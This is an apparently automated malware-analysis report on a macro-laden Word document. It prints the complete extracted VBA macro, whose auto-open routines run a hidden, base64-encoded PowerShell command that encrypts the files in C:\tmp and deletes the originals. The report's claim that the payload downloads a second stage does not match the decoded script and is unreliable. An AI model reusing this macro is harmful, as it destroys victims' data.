Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 89fca1cc3bc6f791…

MALICIOUS

Office (OOXML)

22.9 KB Created: 2021-05-24 07:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-30
MD5: f8a95ce9c63aa6290e3d56b1926e005b SHA-1: 5e4f5ceb20516094628f5098b5381ffe0b3f06fd SHA-256: 89fca1cc3bc6f7914787e9fb37bae850dbf6bf4153101ad6c1c78c24f2f3b330
206 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and Document_Open functions that trigger the execution of a PowerShell command. This PowerShell command appears to be designed to download and execute a second-stage payload, as indicated by the use of Get-Content and references to encryption keys. The presence of these macros and the execution flow strongly suggest a malicious document designed for payload delivery.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            NOKx1 = NOKx1 + NOKxO
            Shell NOKx1, vbHide
    End Function
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            NOKxO = NOKxO + "AH0AIAAgACAAIAAgAH0AIAB9ACAA"
            NOKx1 = "powershell -noP -sta -w 1 -enc "
            NOKx1 = NOKx1 + NOKxO
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
            GK
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
            GK
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Auto_Open()
            GK
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5579 bytes
SHA-256: a27693a5c7c050169415592e411cf28bb3558d98e326765428bc5eb120973a9f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
        GK
End Sub

Sub AutoOpen()
        GK
End Sub

Sub Document_Open()
        GK
End Sub

Public Function GK() As Variant
        Dim NOKxO As String
        Dim NOKx1 As String
        NOKxO = "RwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAEMAOg"
        NOKxO = NOKxO + "BcAHQAbQBwACAAfAAgAEYAbwByAEUAYQBjAGgALQBP"
        NOKxO = NOKxO + "AGIAagBlAGMAdAAgAC0AUAByAG8AYwBlAHMAcwB7AC"
        NOKxO = NOKxO + "AAIAAgACAAIABpAGYAKAAkAF8AIAAtAGkAcwAgAFsA"
        NOKxO = NOKxO + "UwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAEkAbg"
        NOKxO = NOKxO + "BmAG8AXQApACAAIAAgACAAIAB7ACAAIAAgACAAIAAg"
        NOKxO = NOKxO + "ACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAKAAkAF"
        NOKxO = NOKxO + "8ALgBGAHUAbABsAE4AYQBtAGUAKQA7ACAAIAAgACAA"
        NOKxO = NOKxO + "IAAgACAAIAAgAGkAZgAgACgAJABfAC4ARQB4AHQAZQ"
        NOKxO = NOKxO + "BuAHMAaQBvAG4AIAAtAG4AZQAgACIALgBlAG4AYwAi"
        NOKxO = NOKxO + "ACkAIAB7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC"
        NOKxO = NOKxO + "AAJABDAG8AbgB0AGUAbgB0ACAAPQAgAEcAZQB0AC0A"
        NOKxO = NOKxO + "QwBvAG4AdABlAG4AdAAoACQAXwAuAEYAdQBsAGwATg"
        NOKxO = NOKxO + "BhAG0AZQApADsAIAAgACAAIAAgACAAIAAgACAAIAAg"
        NOKxO = NOKxO + "ACAAIAAgACQAawBlAHkAPQAiAGEAZQBzADIANQA2AG"
        NOKxO = NOKxO + "sAZQB5AGEAZQBzADIANQA2AGsAZQB5AGEAZQBzADIA"
        NOKxO = NOKxO + "NQA2AGsAZQB5AGEAZQBzADIANQAiADsAIAAgACAAIA"
        NOKxO = NOKxO + "AgACAAIAAgACAAIAAgACAAIAAkAGEAZQBzAF8AbwBi"
        NOKxO = NOKxO + "AGoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC"
        NOKxO = NOKxO + "IAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkA"
        NOKxO = NOKxO + "LgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQ"
        NOKxO = NOKxO + "BzAE0AYQBuAGEAZwBlAGQAIgA7ACAAIAAgACAAIAAg"
        NOKxO = NOKxO + "ACAAIAAgACAAIAAgACAAJABhAGUAcwBfAG8AYgBqAC"
        NOKxO = NOKxO + "4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4A"
        NOKxO = NOKxO + "UwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZw"
        NOKxO = NOKxO + "ByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABl"
        NOKxO = NOKxO + "AF0AOgA6AEUAQwBCADsAIAAgACAAIAAgACAAIAAgAC"
        NOKxO = NOKxO + "AAIAAgACAAIAAkAGEAZQBzAF8AbwBiAGoALgBCAGwA"
        NOKxO = NOKxO + "bwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAIA"
        NOKxO = NOKxO + "AgACAAIAAgACAAIAAgACAAIAAgACAAJABhAGUAcwBf"
        NOKxO = NOKxO + "AG8AYgBqAC4ASwBlAHkAUwBpAHoAZQAgAD0AIAAyAD"
        NOKxO = NOKxO + "UANgA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA"
        NOKxO = NOKxO + "JABhAGUAcwBfAG8AYgBqAC4ASwBlAHkAIAA9ACAAWw"
        NOKxO = NOKxO + "BTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBv"
        NOKxO = NOKxO + "AGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AE"
        NOKxO = NOKxO + "IAeQB0AGUAcwAoACQAawBlAHkAKQA7ACAAIAAgACAA"
        NOKxO = NOKxO + "IAAgACAAIAAgACAAIAAgACAAJABhAGUAcwBfAG8AYg"
        NOKxO = NOKxO + "BqAC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBz"
        NOKxO = NOKxO + "AHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAH"
        NOKxO = NOKxO + "kAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkA"
        NOKxO = NOKxO + "bgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3ADsAIA"
        NOKxO = NOKxO + "AgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbgBf"
        NOKxO = NOKxO + "AHQAZQB4AHQAPQBbAFMAeQBzAHQAZQBtAC4AVABlAH"
        NOKxO = NOKxO + "gAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQA"
        NOKxO = NOKxO + "RgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABDAG8Abg"
        NOKxO = NOKxO + "B0AGUAbgB0ACkAOwAgACAAIAAgACAAIAAgACAAIAAg"
        NOKxO = NOKxO + "ACAAIAAgACQAZABhAHQAYQAgAD0AIABOAGUAdwAtAE"
        NOKxO = NOKxO + "8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8A"
        NOKxO = NOKxO + "LgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACwAJA"
        NOKxO = NOKxO + "BhAGUAcwBfAG8AYgBqAC4AQwByAGUAYQB0AGUARQBu"
        NOKxO = NOKxO + "AGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAG"
        NOKxO = NOKxO + "YAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQA"
        NOKxO = NOKxO + "aQBuAF8AdABlAHgAdAAsADAALAAkAGkAbgBfAHQAZQ"
        NOKxO = NOKxO + "B4AHQALgBMAGUAbgBnAHQAaAApACkAOwAgACAAIAAg"
        NOKxO = NOKxO + "ACAAIAAgACAAIAAgACAAIAAgACQAcgBlAHQAPQBbAF"
        NOKxO = NOKxO + "MAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoA"
        NOKxO = NOKxO + "OgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKA"
        NOKxO = NOKxO + "AkAGQAYQB0AGEALgBUAG8AQQByAHIAYQB5ACgAKQAp"
        NOKxO = NOKxO + "ADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG"
        NOKxO = NOKxO + "EAZQBzAF8AbwBiAGoALgBEAGkAcwBwAG8AcwBlACgA"
        NOKxO = NOKxO + "KQA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA"
        NOKxO = NOKxO + "AgACAAIAAgACQAbgBlAHcAXwBuAGEAbQBlACAAPQAg"
        NOKxO = NOKxO + "ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgACsAIAAiAC"
        NOKxO = NOKxO + "4AZQBuAGMAIgA7ACAAIAAgACAAIAAgACAAIAAgACAA"
        NOKxO = NOKxO + "IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA"
        NOKxO = NOKxO + "AkAHIAZQB0ACAAfAAgAE8AdQB0AC0ARgBpAGwAZQAg"
        NOKxO = NOKxO + "ACQAbgBlAHcAXwBuAGEAbQBlADsAIAAgACAAIAAgAC"
        NOKxO = NOKxO + "AAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkA"
        NOKxO = NOKxO + "dABlAG0AIAAkAF8ALgBGAHUAbABsAE4AYQBtAGUAIA"
        NOKxO = NOKxO + "AtAEYAbwByAGMAZQA7ACAAIAAgACAAIAAgACAAIAAg"
        NOKxO = NOKxO + "AH0AIAAgACAAIAAgAH0AIAB9ACAA"
        NOKx1 = "powershell -noP -sta -w 1 -enc "
        NOKx1 = NOKx1 + NOKxO
        Shell NOKx1, vbHide
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: f70167744625c7b38876338022e5b0ab40a222fed3af6e931b39e99855c49156